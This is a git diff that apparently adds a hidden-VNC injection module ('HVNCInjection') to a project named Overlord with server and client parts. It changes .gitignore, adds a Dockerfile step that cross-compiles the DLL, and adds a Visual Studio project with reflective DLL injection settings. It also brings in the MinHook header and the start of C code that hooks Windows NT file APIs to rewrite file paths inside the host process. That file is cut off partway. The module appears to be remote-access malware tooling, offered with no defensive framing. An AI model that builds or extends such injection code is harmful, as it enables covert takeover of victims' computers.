diff --git a/.gitignore b/.gitignore
index 864308c..a7a0c35 100644
--- a/.gitignore
+++ b/.gitignore
@@ -22,6 +22,7 @@ bin/
*.exe
*.test
*.out
+*.dll
# Certificates (auto-generated)
certs/
@@ -48,4 +49,433 @@ Overlord-Server/data/
# Release packaging output
release/
-stress/
\ No newline at end of file
+stress/
+
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+##
+## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
+
+# User-specific files
+*.rsuser
+*.suo
+*.user
+*.userosscache
+*.sln.docstates
+*.env
+
+# User-specific files (MonoDevelop/Xamarin Studio)
+*.userprefs
+
+# Mono auto generated files
+mono_crash.*
+
+# Build results
+[Dd]ebug/
+[Dd]ebugPublic/
+[Rr]elease/
+[Rr]eleases/
+
+[Dd]ebug/x64/
+[Dd]ebugPublic/x64/
+[Rr]elease/x64/
+[Rr]eleases/x64/
+bin/x64/
+obj/x64/
+
+[Dd]ebug/x86/
+[Dd]ebugPublic/x86/
+[Rr]elease/x86/
+[Rr]eleases/x86/
+bin/x86/
+obj/x86/
+
+[Ww][Ii][Nn]32/
+[Aa][Rr][Mm]/
+[Aa][Rr][Mm]64/
+[Aa][Rr][Mm]64[Ee][Cc]/
+bld/
+[Oo]bj/
+[Oo]ut/
+[Ll]og/
+[Ll]ogs/
+
+# Build results on 'Bin' directories
+**/[Bb]in/*
+# Uncomment if you have tasks that rely on *.refresh files to move binaries
+# (https://github.com/github/gitignore/pull/3736)
+#!**/[Bb]in/*.refresh
+
+# Visual Studio 2015/2017 cache/options directory
+.vs/
+# Uncomment if you have tasks that create the project's static files in wwwroot
+#wwwroot/
+
+# Visual Studio 2017 auto generated files
+Generated\ Files/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+*.trx
+
+# NUnit
+*.VisualState.xml
+TestResult.xml
+nunit-*.xml
+
+# Approval Tests result files
+*.received.*
+
+# Build Results of an ATL Project
+[Dd]ebugPS/
+[Rr]eleasePS/
+dlldata.c
+
+# Benchmark Results
+BenchmarkDotNet.Artifacts/
+
+# .NET Core
+project.lock.json
+project.fragment.lock.json
+artifacts/
+
+# ASP.NET Scaffolding
+ScaffoldingReadMe.txt
+
+# StyleCop
+StyleCopReport.xml
+
+# Files built by Visual Studio
+*_i.c
+*_p.c
+*_h.h
+*.ilk
+*.meta
+*.obj
+*.idb
+*.iobj
+*.pch
+*.pdb
+*.ipdb
+*.pgc
+*.pgd
+*.rsp
+# but not Directory.Build.rsp, as it configures directory-level build defaults
+!Directory.Build.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*_wpftmp.csproj
+*.log
+*.tlog
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.svclog
+*.scc
+
+# Chutzpah Test files
+_Chutzpah*
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opendb
+*.opensdf
+*.sdf
+*.cachefile
+*.VC.db
+*.VC.VC.opendb
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+*.sap
+
+# Visual Studio Trace Files
+*.e2e
+
+# TFS 2012 Local Workspace
+$tf/
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+*.DotSettings.user
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# AxoCover is a Code Coverage Tool
+.axoCover/*
+!.axoCover/settings.json
+
+# Coverlet is a free, cross platform Code Coverage Tool
+coverage*.json
+coverage*.xml
+coverage*.info
+
+# Visual Studio code coverage results
+*.coverage
+*.coveragexml
+
+# NCrunch
+_NCrunch_*
+.NCrunch_*
+.*crunch*.local.xml
+nCrunchTemp_*
+
+# MightyMoose
+*.mm.*
+AutoTest.Net/
+
+# Web workbench (sass)
+.sass-cache/
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.[Pp]ublish.xml
+*.azurePubxml
+# Note: Comment the next line if you want to checkin your web deploy settings,
+# but database connection strings (with potential passwords) will be unencrypted
+*.pubxml
+*.publishproj
+
+# Microsoft Azure Web App publish settings. Comment the next line if you want to
+# checkin your Azure Web App publish settings, but sensitive information contained
+# in these scripts will be unencrypted
+PublishScripts/
+
+# NuGet Packages
+*.nupkg
+# NuGet Symbol Packages
+*.snupkg
+# The packages folder can be ignored because of Package Restore
+**/[Pp]ackages/*
+# except build/, which is used as an MSBuild target.
+!**/[Pp]ackages/build/
+# Uncomment if necessary however generally it will be regenerated when needed
+#!**/[Pp]ackages/repositories.config
+# NuGet v3's project.json files produces more ignorable files
+*.nuget.props
+*.nuget.targets
+
+# Microsoft Azure Build Output
+csx/
+*.build.csdef
+
+# Microsoft Azure Emulator
+ecf/
+rcf/
+
+# Windows Store app package directories and files
+AppPackages/
+BundleArtifacts/
+Package.StoreAssociation.xml
+_pkginfo.txt
+*.appx
+*.appxbundle
+*.appxupload
+
+# Visual Studio cache files
+# files ending in .cache can be ignored
+*.[Cc]ache
+# but keep track of directories ending in .cache
+!?*.[Cc]ache/
+
+# Others
+ClientBin/
+~$*
+*~
+*.dbmdl
+*.dbproj.schemaview
+*.jfm
+*.pfx
+*.publishsettings
+orleans.codegen.cs
+
+# Including strong name files can present a security risk
+# (https://github.com/github/gitignore/pull/2483#issue-259490424)
+#*.snk
+
+# Since there are multiple workflows, uncomment next line to ignore bower_components
+# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
+#bower_components/
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file
+# to a newer Visual Studio version. Backup files are not needed,
+# because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+ServiceFabricBackup/
+*.rptproj.bak
+
+# SQL Server files
+*.mdf
+*.ldf
+*.ndf
+
+# Business Intelligence projects
+*.rdl.data
+*.bim.layout
+*.bim_*.settings
+*.rptproj.rsuser
+*- [Bb]ackup.rdl
+*- [Bb]ackup ([0-9]).rdl
+*- [Bb]ackup ([0-9][0-9]).rdl
+
+# Microsoft Fakes
+FakesAssemblies/
+
+# GhostDoc plugin setting file
+*.GhostDoc.xml
+
+# Node.js Tools for Visual Studio
+.ntvs_analysis.dat
+node_modules/
+
+# Visual Studio 6 build log
+*.plg
+
+# Visual Studio 6 workspace options file
+*.opt
+
+# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
+*.vbw
+
+# Visual Studio 6 workspace and project file (working project files containing files to include in project)
+*.dsw
+*.dsp
+
+# Visual Studio 6 technical files
+*.ncb
+*.aps
+
+# Visual Studio LightSwitch build output
+**/*.HTMLClient/GeneratedArtifacts
+**/*.DesktopClient/GeneratedArtifacts
+**/*.DesktopClient/ModelManifest.xml
+**/*.Server/GeneratedArtifacts
+**/*.Server/ModelManifest.xml
+_Pvt_Extensions
+
+# Paket dependency manager
+**/.paket/paket.exe
+paket-files/
+
+# FAKE - F# Make
+**/.fake/
+
+# CodeRush personal settings
+**/.cr/personal
+
+# Python Tools for Visual Studio (PTVS)
+**/__pycache__/
+*.pyc
+
+# Cake - Uncomment if you are using it
+#tools/**
+#!tools/packages.config
+
+# Tabs Studio
+*.tss
+
+# Telerik's JustMock configuration file
+*.jmconfig
+
+# BizTalk build output
+*.btp.cs
+*.btm.cs
+*.odx.cs
+*.xsd.cs
+
+# OpenCover UI analysis results
+OpenCover/
+
+# Azure Stream Analytics local run output
+ASALocalRun/
+
+# MSBuild Binary and Structured Log
+*.binlog
+MSBuild_Logs/
+
+# AWS SAM Build and Temporary Artifacts folder
+.aws-sam
+
+# NVidia Nsight GPU debugger configuration file
+*.nvuser
+
+# MFractors (Xamarin productivity tool) working folder
+**/.mfractor/
+
+# Local History for Visual Studio
+**/.localhistory/
+
+# Visual Studio History (VSHistory) files
+.vshistory/
+
+# BeatPulse healthcheck temp database
+healthchecksdb
+
+# Backup folder for Package Reference Convert tool in Visual Studio 2017
+MigrationBackup/
+
+# Ionide (cross platform F# VS Code tools) working folder
+**/.ionide/
+
+# Fody - auto-generated XML schema
+FodyWeavers.xsd
+
+# VS Code files for those working on multiple tools
+.vscode/*
+!.vscode/settings.json
+!.vscode/tasks.json
+!.vscode/launch.json
+!.vscode/extensions.json
+!.vscode/*.code-snippets
+
+# Local History for Visual Studio Code
+.history/
+
+# Built Visual Studio Code Extensions
+*.vsix
+
+# Windows Installer files from build outputs
+*.cab
+*.msi
+*.msix
+*.msm
+*.msp
\ No newline at end of file
diff --git a/Dockerfile b/Dockerfile
index 5bb3542..a0f2955 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -63,6 +63,19 @@ RUN bun install --frozen-lockfile
COPY Overlord-Server/ ./
COPY Overlord-Client/ ./Overlord-Client/
+# Copy HVNCInjection source and build script for cross-compilation
+COPY HVNCInjection/ ./HVNCInjection/
+COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
+
+# Attempt to cross-compile HVNCInjection DLL with mingw.
+# Requires MinHook source in HVNCInjection/src/minhook/.
+# If unavailable, pre-build the DLL on Windows with build-hvnc-dll.bat
+# and place it at Overlord-Server/dist-clients/HVNCInjection.x64.dll.
+RUN chmod +x build-hvnc-dll.sh && \
+ HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \
+ (test -f dist-clients/HVNCInjection.x64.dll && echo "Using pre-built DLL") || \
+ echo "WARNING: HVNCInjection DLL not available"
+
# Create necessary directories
RUN mkdir -p certs public data
diff --git a/HVNCInjection/HVNCInjection.vcxproj b/HVNCInjection/HVNCInjection.vcxproj
new file mode 100644
index 0000000..5dfe7b1
--- /dev/null
+++ b/HVNCInjection/HVNCInjection.vcxproj
@@ -0,0 +1,286 @@
+
+
+
+
+ Debug
+ ARM
+
+
+ Debug
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ ARM
+
+
+ Release
+ Win32
+
+
+ Release
+ x64
+
+
+
+ {483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC}
+ HVNCInjection
+ Win32Proj
+
+
+
+ DynamicLibrary
+ v143
+ MultiByte
+ true
+
+
+ DynamicLibrary
+ v143
+ MultiByte
+ true
+
+
+ DynamicLibrary
+ false
+ v143
+ false
+ Unicode
+
+
+ DynamicLibrary
+ v143
+ Unicode
+
+
+ DynamicLibrary
+ v143
+ MultiByte
+ false
+
+
+ DynamicLibrary
+ false
+ v143
+ false
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ <_ProjectFileVersion>11.0.50727.1
+
+
+ $(SolutionDir)$(Configuration)\
+ $(Configuration)\
+ true
+
+
+ true
+
+
+ $(SolutionDir)$(Platform)\$(Configuration)\
+ $(Platform)\$(Configuration)\
+ true
+
+
+ $(SolutionDir)$(Configuration)\
+ $(Configuration)\
+ false
+
+
+ false
+
+
+ $(SolutionDir)$(Platform)\$(Configuration)\
+ $(Platform)\$(Configuration)\
+ false
+
+
+
+ MinSpace
+ OnlyExplicitInline
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ MultiThreaded
+ true
+
+ Level3
+ ProgramDatabase
+
+
+ true
+ Windows
+ true
+ true
+ MachineX86
+
+
+
+
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;%(PreprocessorDefinitions)
+ true
+ EnableFastChecks
+ MultiThreadedDebugDLL
+
+
+ Level3
+ EditAndContinue
+
+
+ true
+ Windows
+
+
+
+
+ X64
+
+
+ MaxSpeed
+ OnlyExplicitInline
+ true
+ Size
+ false
+ WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ MultiThreaded
+ true
+
+ Level3
+ ProgramDatabase
+ CompileAsCpp
+
+
+ $(OutDir)$(ProjectName).x64.dll
+ true
+ Windows
+ true
+ true
+ MachineX64
+ $(ProjectDir)src;%(AdditionalLibraryDirectories)
+
+
+ if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
+ if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
+ copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
+ copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"
+
+
+
+
+ MaxSpeed
+ OnlyExplicitInline
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ MultiThreaded
+ true
+
+ Level3
+ ProgramDatabase
+
+
+ true
+ Windows
+ true
+ true
+ MachineX86
+
+
+
+
+ MinSpace
+ OnlyExplicitInline
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ MultiThreaded
+ true
+
+
+ Level3
+ ProgramDatabase
+ true
+ Default
+
+
+ true
+ Windows
+ true
+ true
+ $(OutDir)$(ProjectName).arm.dll
+
+
+
+
+ X64
+
+
+ MaxSpeed
+ OnlyExplicitInline
+ true
+ Size
+ false
+ WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ MultiThreaded
+ true
+
+ Level3
+ ProgramDatabase
+ CompileAsCpp
+
+
+ $(OutDir)$(ProjectName).x64.dll
+ true
+ Windows
+ true
+ true
+ MachineX64
+ $(ProjectDir)src;%(AdditionalLibraryDirectories)
+
+
+ if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
+ if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
+ copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
+ copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/HVNCInjection/HVNCInjection.vcxproj.filters b/HVNCInjection/HVNCInjection.vcxproj.filters
new file mode 100644
index 0000000..335b9fc
--- /dev/null
+++ b/HVNCInjection/HVNCInjection.vcxproj.filters
@@ -0,0 +1,41 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hpp;hxx;hm;inl;inc;xsd
+
+
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+
\ No newline at end of file
diff --git a/HVNCInjection/src/MinHook.h b/HVNCInjection/src/MinHook.h
new file mode 100644
index 0000000..8b16ce0
--- /dev/null
+++ b/HVNCInjection/src/MinHook.h
@@ -0,0 +1,185 @@
+/*
+ * MinHook - The Minimalistic API Hooking Library for x64/x86
+ * Copyright (C) 2009-2017 Tsuda Kageyu.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#pragma once
+
+#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
+#error MinHook supports only x86 and x64 systems.
+#endif
+
+#include
+
+ // MinHook Error Codes.
+typedef enum MH_STATUS
+{
+ // Unknown error. Should not be returned.
+ MH_UNKNOWN = -1,
+
+ // Successful.
+ MH_OK = 0,
+
+ // MinHook is already initialized.
+ MH_ERROR_ALREADY_INITIALIZED,
+
+ // MinHook is not initialized yet, or already uninitialized.
+ MH_ERROR_NOT_INITIALIZED,
+
+ // The hook for the specified target function is already created.
+ MH_ERROR_ALREADY_CREATED,
+
+ // The hook for the specified target function is not created yet.
+ MH_ERROR_NOT_CREATED,
+
+ // The hook for the specified target function is already enabled.
+ MH_ERROR_ENABLED,
+
+ // The hook for the specified target function is not enabled yet, or already
+ // disabled.
+ MH_ERROR_DISABLED,
+
+ // The specified pointer is invalid. It points the address of non-allocated
+ // and/or non-executable region.
+ MH_ERROR_NOT_EXECUTABLE,
+
+ // The specified target function cannot be hooked.
+ MH_ERROR_UNSUPPORTED_FUNCTION,
+
+ // Failed to allocate memory.
+ MH_ERROR_MEMORY_ALLOC,
+
+ // Failed to change the memory protection.
+ MH_ERROR_MEMORY_PROTECT,
+
+ // The specified module is not loaded.
+ MH_ERROR_MODULE_NOT_FOUND,
+
+ // The specified function is not found.
+ MH_ERROR_FUNCTION_NOT_FOUND
+}
+MH_STATUS;
+
+// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
+// MH_QueueEnableHook or MH_QueueDisableHook.
+#define MH_ALL_HOOKS NULL
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+ // Initialize the MinHook library. You must call this function EXACTLY ONCE
+ // at the beginning of your program.
+ MH_STATUS WINAPI MH_Initialize(VOID);
+
+ // Uninitialize the MinHook library. You must call this function EXACTLY
+ // ONCE at the end of your program.
+ MH_STATUS WINAPI MH_Uninitialize(VOID);
+
+ // Creates a Hook for the specified target function, in disabled state.
+ // Parameters:
+ // pTarget [in] A pointer to the target function, which will be
+ // overridden by the detour function.
+ // pDetour [in] A pointer to the detour function, which will override
+ // the target function.
+ // ppOriginal [out] A pointer to the trampoline function, which will be
+ // used to call the original target function.
+ // This parameter can be NULL.
+ MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
+
+ // Creates a Hook for the specified API function, in disabled state.
+ // Parameters:
+ // pszModule [in] A pointer to the loaded module name which contains the
+ // target function.
+ // pszTarget [in] A pointer to the target function name, which will be
+ // overridden by the detour function.
+ // pDetour [in] A pointer to the detour function, which will override
+ // the target function.
+ // ppOriginal [out] A pointer to the trampoline function, which will be
+ // used to call the original target function.
+ // This parameter can be NULL.
+ MH_STATUS WINAPI MH_CreateHookApi(
+ LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
+
+ // Creates a Hook for the specified API function, in disabled state.
+ // Parameters:
+ // pszModule [in] A pointer to the loaded module name which contains the
+ // target function.
+ // pszTarget [in] A pointer to the target function name, which will be
+ // overridden by the detour function.
+ // pDetour [in] A pointer to the detour function, which will override
+ // the target function.
+ // ppOriginal [out] A pointer to the trampoline function, which will be
+ // used to call the original target function.
+ // This parameter can be NULL.
+ // ppTarget [out] A pointer to the target function, which will be used
+ // with other functions.
+ // This parameter can be NULL.
+ MH_STATUS WINAPI MH_CreateHookApiEx(
+ LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
+
+ // Removes an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
+
+ // Enables an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // enabled in one go.
+ MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
+
+ // Disables an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // disabled in one go.
+ MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
+
+ // Queues to enable an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // queued to be enabled.
+ MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
+
+ // Queues to disable an already created hook.
+ // Parameters:
+ // pTarget [in] A pointer to the target function.
+ // If this parameter is MH_ALL_HOOKS, all created hooks are
+ // queued to be disabled.
+ MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
+
+ // Applies all queued changes in one go.
+ MH_STATUS WINAPI MH_ApplyQueued(VOID);
+
+ // Translates the MH_STATUS to its name as a string.
+ const char* WINAPI MH_StatusToString(MH_STATUS status);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/HVNCInjection/src/NtApiHooks.c b/HVNCInjection/src/NtApiHooks.c
new file mode 100644
index 0000000..c2ae662
--- /dev/null
+++ b/HVNCInjection/src/NtApiHooks.c
@@ -0,0 +1,868 @@
+//===============================================================================================//
+// NT API Hooking Implementation
+//===============================================================================================//
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include "NtApiHooks.h"
+#include "NtApiHooksConfig.h"
+#include "MinHook.h"
+#include
+#include
+
+#pragma comment(lib, "libMinHook.x64.lib")
+#pragma comment(lib, "ntdll.lib")
+
+ // Global search and replacement strings (filled from parameter)
+ static WCHAR g_SearchString[512] = { 0 };
+ static WCHAR g_ReplacementString[512] = { 0 };
+ static BOOL g_HooksInitialized = FALSE;
+ static HANDLE g_LogFile = INVALID_HANDLE_VALUE;
+
+ // Helper function to log debug info
+ void LogDebug(const WCHAR* message) {
+#if ENABLE_DEBUG_LOGGING
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ DWORD written;
+ DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR);
+ WriteFile(g_LogFile, message, messageLen, &written, NULL);
+
+ const WCHAR newline[] = L"\r\n";
+ WriteFile(g_LogFile, newline, sizeof(newline) - sizeof(WCHAR), &written, NULL);
+ FlushFileBuffers(g_LogFile);
+ }
+#endif
+ }
+
+ void LogDebugA(const char* message) {
+#if ENABLE_DEBUG_LOGGING
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ DWORD written;
+ DWORD messageLen = (DWORD)strlen(message);
+ WriteFile(g_LogFile, message, messageLen, &written, NULL);
+
+ const char newline[] = "\r\n";
+ WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL);
+ FlushFileBuffers(g_LogFile);
+ }
+#endif
+ }
+
+ // Helper function for case-insensitive wide string comparison
+ int wcsnicmp_custom(const WCHAR* s1, const WCHAR* s2, SIZE_T count) {
+ for (SIZE_T i = 0; i < count; i++) {
+ WCHAR c1 = s1[i];
+ WCHAR c2 = s2[i];
+
+ // Convert to uppercase for comparison
+ if (c1 >= L'a' && c1 <= L'z') c1 = c1 - L'a' + L'A';
+ if (c2 >= L'a' && c2 <= L'z') c2 = c2 - L'a' + L'A';
+
+ // Also handle backslash vs forward slash
+ if (c1 == L'/') c1 = L'\\';
+ if (c2 == L'/') c2 = L'\\';
+
+ if (c1 != c2) return (c1 < c2) ? -1 : 1;
+ }
+ return 0;
+ }
+
+ // Helper function to normalize NT paths - skip \??\ prefix if present
+ const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) {
+ if (!path || !adjustedLength) return path;
+
+ SIZE_T length = *adjustedLength;
+
+ // Check for \??\ prefix (NT object namespace for DOS devices)
+ if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') {
+ *adjustedLength = length - 4;
+ return path + 4;
+ }
+
+ // Check for \Device\ or \DEVICE\ prefix
+ if (length >= 8 &&
+ (wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) {
+ // Don't adjust - these are device paths, not file paths
+ return path;
+ }
+
+ return path;
+ }
+
+ // NT API typedefs
+ typedef struct _UNICODE_STRING {
+ USHORT Length;
+ USHORT MaximumLength;
+ PWSTR Buffer;
+ } UNICODE_STRING, * PUNICODE_STRING;
+
+ typedef struct _OBJECT_ATTRIBUTES {
+ ULONG Length;
+ HANDLE RootDirectory;
+ PUNICODE_STRING ObjectName;
+ ULONG Attributes;
+ PVOID SecurityDescriptor;
+ PVOID SecurityQualityOfService;
+ } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
+
+ typedef struct _IO_STATUS_BLOCK {
+ union {
+ LONG Status;
+ PVOID Pointer;
+ };
+ ULONG_PTR Information;
+ } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
+
+ typedef enum _FILE_INFORMATION_CLASS {
+ FileDirectoryInformation = 1,
+ FileFullDirectoryInformation,
+ FileBothDirectoryInformation,
+ FileBasicInformation,
+ FileStandardInformation,
+ FileInternalInformation,
+ FileEaInformation,
+ FileAccessInformation,
+ FileNameInformation,
+ FileRenameInformation = 10,
+ FileLinkInformation,
+ FileNamesInformation,
+ FileDispositionInformation,
+ FilePositionInformation,
+ FileFullEaInformation,
+ FileModeInformation,
+ FileAlignmentInformation,
+ FileAllInformation,
+ FileAllocationInformation,
+ FileEndOfFileInformation,
+ FileAlternateNameInformation,
+ FileStreamInformation,
+ FilePipeInformation,
+ FilePipeLocalInformation,
+ FilePipeRemoteInformation,
+ FileMailslotQueryInformation,
+ FileMailslotSetInformation,
+ FileCompressionInformation,
+ FileObjectIdInformation,
+ FileCompletionInformation,
+ FileMoveClusterInformation,
+ FileQuotaInformation,
+ FileReparsePointInformation,
+ FileNetworkOpenInformation,
+ FileAttributeTagInformation,
+ FileTrackingInformation,
+ FileIdBothDirectoryInformation,
+ FileIdFullDirectoryInformation,
+ FileValidDataLengthInformation,
+ FileShortNameInformation,
+ FileIoCompletionNotificationInformation,
+ FileIoStatusBlockRangeInformation,
+ FileIoPriorityHintInformation,
+ FileSfioReserveInformation,
+ FileSfioVolumeInformation,
+ FileHardLinkInformation,
+ FileProcessIdsUsingFileInformation,
+ FileNormalizedNameInformation,
+ FileNetworkPhysicalNameInformation,
+ FileIdGlobalTxDirectoryInformation,
+ FileIsRemoteDeviceInformation,
+ FileUnusedInformation,
+ FileNumaNodeInformation,
+ FileStandardLinkInformation,
+ FileRemoteProtocolInformation,
+ FileRenameInformationBypassAccessCheck,
+ FileLinkInformationBypassAccessCheck,
+ FileVolumeNameInformation,
+ FileIdInformation,
+ FileIdExtdDirectoryInformation,
+ FileReplaceCompletionInformation,
+ FileHardLinkFullIdInformation,
+ FileIdExtdBothDirectoryInformation,
+ FileRenameInformationEx = 65,
+ FileRenameInformationExBypassAccessCheck,
+ FileMaximumInformation
+ } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
+
+ // NT API function pointers
+ typedef LONG NTSTATUS;
+
+ typedef NTSTATUS(NTAPI* pNtCreateFile)(
+ PHANDLE FileHandle,
+ ULONG DesiredAccess,
+ POBJECT_ATTRIBUTES ObjectAttributes,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ PLARGE_INTEGER AllocationSize,
+ ULONG FileAttributes,
+ ULONG ShareAccess,
+ ULONG CreateDisposition,
+ ULONG CreateOptions,
+ PVOID EaBuffer,
+ ULONG EaLength
+ );
+
+ typedef NTSTATUS(NTAPI* pNtOpenFile)(
+ PHANDLE FileHandle,
+ ULONG DesiredAccess,
+ POBJECT_ATTRIBUTES ObjectAttributes,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ ULONG ShareAccess,
+ ULONG OpenOptions
+ );
+
+ typedef NTSTATUS(NTAPI* pNtDeleteFile)(
+ POBJECT_ATTRIBUTES ObjectAttributes
+ );
+
